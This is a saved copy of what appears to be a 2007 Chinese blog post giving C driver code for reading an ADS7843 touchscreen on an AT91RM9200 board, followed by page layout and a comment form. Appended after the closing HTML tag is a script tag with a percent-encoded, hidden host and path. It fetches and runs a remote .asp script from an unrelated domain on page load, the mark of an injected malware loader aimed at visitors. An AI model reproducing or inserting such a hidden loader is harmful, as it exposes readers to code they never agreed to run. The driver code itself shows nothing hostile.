📄 at91rm9200读取ads7843触摸屏源代码 - at91rm9200开发 - gliethttp.htm
字号:
IRQ_Mod;<BR> boolean
down;<BR> boolean
up;<BR>_xTouch_value<BR>
value;<BR>}_xTouch;<BR>//--------------------------------------------------------------<BR>_xTouch
xxTouch = { true,false,false,{0xffff,0xffff}
};<BR>_xTouch *xTouch =
&xxTouch;<BR>//--------------------------------------------------------------<BR>//触摸屏<BR>#define
Touch_DCLK (uint32)(0x01<<11)/*PC11*/<BR>#define
Touch_CS
(uint32)(0x01<<12)/*PC12*/<BR>#define
Touch_DIN
(uint32)(0x01<<13)/*PC13*/<BR>#define
Touch_busy
(uint32)(0x01<<14)/*PC14*/<BR>#define
Touch_DOUT
(uint32)(0x01<<15)/*PC15*/<BR>#define
Touch_PIRQ
(uint32)(0x01<<26)/*PA26*/<BR><BR>#define
set_dclk()
AT91F_PIO_SetOutput(AT91C_BASE_PIOC,
Touch_DCLK)<BR>#define
clr_dclk()
AT91F_PIO_ClearOutput(AT91C_BASE_PIOC,
Touch_DCLK)<BR>#define
set_din()
AT91F_PIO_SetOutput(AT91C_BASE_PIOC,
Touch_DIN)<BR>#define
clr_din()
AT91F_PIO_ClearOutput(AT91C_BASE_PIOC,
Touch_DIN)<BR>#define
set_chcs()
AT91F_PIO_SetOutput(AT91C_BASE_PIOC,
Touch_CS)<BR>#define
clr_chcs()
AT91F_PIO_ClearOutput(AT91C_BASE_PIOC,
Touch_CS)<BR>#define Set_InputMod()
AT91C_BASE_PIOA->PIO_PER =
Touch_PIRQ<BR>#define
Set_IRQMod()
AT91C_BASE_PIOA->PIO_PDR =
Touch_PIRQ<BR>#define
Get_TouIRQ()
(AT91C_BASE_PIOA->PIO_PDSR &
Touch_PIRQ)<BR>//--------------------------------------------------------------<BR>void
Touch_write(uint8
data)//触屏传输速率最大125Kbits<BR>{uint8
i;<BR> for(i = 0;i <
8;i++)<BR> {<BR> clr_dclk();
//低电平改变数据数据<BR> if(data
&
0x80)set_din();<BR> else
clr_din();<BR> data
<<=
1;<BR> set_dclk();<BR> }<BR> clr_dclk();<BR>}<BR>//--------------------------------------------------------------<BR>uint16
Touch_read(void)//触屏传输速率最大125Kbits<BR>{uint8
i;<BR>uint16 result =
0;<BR> for(i = 0;i <
12;i++)<BR> {<BR> result
<<=
1;<BR> set_dclk();
//仅有下降沿读取数据<BR> clr_dclk();<BR> if(AT91C_BASE_PIOC->PIO_PDSR
&
Touch_DOUT)result++;<BR> }<BR> return
result;<BR>}<BR>//---------------------------------------------------------------<BR>uint16
Get_X(void)<BR>{<BR>
Touch_write(0x90);<BR> return
Touch_read();<BR>}<BR>uint16
Get_Y(void)<BR>{<BR>
Touch_write(0xD0);<BR> return
Touch_read();<BR>}<BR>//---------------------------------------------------------------<BR>void
Touch_IRQ_proc(void)<BR>{<BR>
AT91C_BASE_AIC->AIC_ICCR = ( 1 <<
AT91C_ID_IRQ1 );<BR>
AT91F_AIC_DisableIt(AT91C_BASE_AIC,
AT91C_ID_IRQ1);<BR>
Set_InputMod();<BR>
xTouch->down = true;<BR>
xTouch->up = false;<BR>
xTouch->IRQ_Mod =
false;<BR>
xxxdprintf("\r\nTouch按下\r\n");<BR>}<BR>//---------------------------------------------------------------<BR>#define
XTOUCH_DEBGU 1<BR>#if XTOUCH_DEBGU<BR>static
char data[50];<BR>#endif<BR>void
xTouchproc(void)<BR>{<BR>
if(xTouch->down ==
true)<BR>
{<BR>
if( Get_TouIRQ()
)<BR>
{//触屏抬起<BR>
{uint32 count;for(count = 0;count <
0xfff;count++);}<BR>
if( Get_TouIRQ()
)<BR>
{<BR>
xTouch->down =
false;<BR>
xTouch->up =
true;<BR>
<BR>
#if
XTOUCH_DEBGU<BR>
xxxdprintf("\r\nTouch抬起\r\n");<BR>
#endif<BR>
}<BR>
}else<BR>
{uint16 x,y;OS_CPU_SR
cpu_sr;<BR>
clr_chcs();<BR>
x =
Get_X();<BR>
y =
Get_Y();<BR>
OS_ENTER_CRITICAL();<BR>
xTouch->value.x =
x;<BR>
xTouch->value.y =
y;<BR>
OS_EXIT_CRITICAL();<BR>
set_chcs();<BR>
<BR>
#if
XTOUCH_DEBGU<BR>
sprintf(data,"x=%d,y=%d\r\n",<BR>
xTouch->value.x,xTouch->value.y);<BR>
xxxdprintf(data);<BR>
#endif<BR>
}<BR> }<BR>
if(xTouch->up == true)<BR>
{<BR>
if(xTouch->IRQ_Mod ==
false)<BR>
{<BR>
xTouch->IRQ_Mod =
true;<BR>
Set_IRQMod();<BR>
AT91C_BASE_AIC->AIC_ICCR =
<BR> (
1 << AT91C_ID_IRQ1
);<BR>
AT91F_AIC_EnableIt(AT91C_BASE_AIC,
<BR> AT91C_ID_IRQ1);<BR>
}<BR>
}<BR>}</FONT></TD></TR></TBODY></TABLE></DIV></DIV></TD></TR></TBODY></TABLE>
<P style="MARGIN: 5px; LINE-HEIGHT: 150%"></P></TD></TR>
<TR>
<TD align=middle height=25><FONT color=#295200>发表于:
2007-05-17,修改于: 2007-05-17 14:49,已浏览78次,有评论0条</FONT> <A
id=star title=推荐这篇文章
onclick="NewWindows(this.href);return false;"
href="http://blog.chinaunix.net/u2/star.php?blogid=38994&artid=303275">推荐</A>
<A id=complaint title=投诉这篇文章
onclick="NewWindows(this.href);return false;"
href="http://blog.chinaunix.net/u2/complaint.php?blogid=38994&artid=303275">投诉</A>
</TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD width=7 height=7><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/w_left_buttom.gif"
border=0></TD>
<TD bgColor=#f3f3f3></TD>
<TD width=7 height=7><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/w_right_buttom.gif"
border=0></TD></TR></TBODY></TABLE>
<TR>
<TD width=11 height=11><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/g_left_bottom.gif"
border=0></TD>
<TD bgColor=#dddddd></TD>
<TD width=11 height=11><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/g_right_bottom.gif"
border=0></TD></TR></TBODY></TABLE><BR><BR>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 cellPadding=0
width="100%" border=0>
<TBODY>
<TR>
<TD width=11 height=11><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/g_left_top.gif"
border=0></TD>
<TD width="99%" bgColor=#dddddd height=11></TD>
<TD width=11 height=11><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/g_right_top.gif"
border=0></TD></TR>
<TR>
<TD vAlign=top align=middle width="100%" bgColor=#dddddd
colSpan=3><B>网友评论</B> <BR>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 cellPadding=0
width="96%" border=0>
<TBODY>
<TR>
<TD width=7 height=7><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/w_left_top.gif"
border=0></TD>
<TD width="100%" bgColor=#f3f3f3></TD>
<TD width=7 height=7><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/w_right_top.gif"
border=0></TD></TR>
<TR>
<TD align=middle bgColor=#f3f3f3 colSpan=3>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0
cellPadding=0 width=700 align=center border=0>
<TBODY>
<TR>
<TD style="COLOR: #0000cc" height=25> 发表评论 </TD></TR>
<TR>
<TD height=25><IFRAME name=comment
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/comment.htm"
frameBorder=0 width=640
height=160></IFRAME></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD width=7 height=7><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/w_left_buttom.gif"
border=0></TD>
<TD bgColor=#f3f3f3></TD>
<TD width=7 height=7><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/w_right_buttom.gif"
border=0></TD></TR></TBODY></TABLE>
<TR>
<TD width=11 height=11><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/g_left_bottom.gif"
border=0></TD>
<TD bgColor=#dddddd></TD>
<TD width=11 height=11><IMG alt=""
src="AT91RM9200读取ADS7843触摸屏源代码 - at91rm9200开发 - gliethttp.files/g_right_bottom.gif"
border=0></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<CENTER></CENTER></BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -